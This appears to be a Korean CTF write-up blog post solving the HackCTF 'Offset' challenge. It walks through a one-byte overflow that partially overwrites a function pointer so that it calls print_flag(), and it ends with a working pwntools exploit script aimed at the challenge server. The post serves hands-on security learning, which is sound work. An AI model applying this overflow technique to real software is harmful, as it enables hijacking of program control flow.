ii4gsp

HackCTF - Offset 본문

시스템 해킹/HackCTF

HackCTF - Offset

ii4gsp 2020. 2. 9. 16:21

파일을 다운받아 주자.

 

 

 

 

IDA로 열어보면 gets()함수로 s에 입력을받고 select_func()함수를 호출한다.

 

 

 

 

select_func()함수를 보면 v3가 two()함수를 가리키고 있다.

인자 src를 0x1F 즉,  31byte만큼 dest에 복사한다.

그리고 dest의 값이 "one"이라면 v3가 one()함수를 가르키고 v3가 가리키는 함수를 호출한다.

 

 

 

 

print_flag()함수를 호출하면 flag를 볼 수 있다.

 

 

 

 

함수의 주소를 보면 two()함수의 주소는 0x000006AD이고 print_flag()함수의 주소는 0x000006D8 이다.

select_func()에서 dest와 v3의 거리는 30이다.

복사하는 크기는 31byte이다.

즉, 30byte dummy를 주고 0xD8을 주면 print_flag() 함수가 실행된다.

 

 

 

 

from pwn import *

r = remote('ctf.j0n9hyun.xyz', 3007)

payload = ''
payload += '\x90' * 30
payload += '\xd8'

r.sendline(payload)

r.interactive()

소스코드를 작성해주자.

 

 

 

 

'시스템 해킹 > HackCTF' 카테고리의 다른 글

HackCTF - Yes_or_no  (0) 2020.02.10
HackCTF - BOF_PIE  (0) 2020.02.09
HackCTF - Simple_Overflow_ver_2  (0) 2020.02.09
HackCTF - x64 Simple_size_BOF  (0) 2020.02.09
HackCTF - x64 Buffer Overflow  (0) 2020.02.09
Comments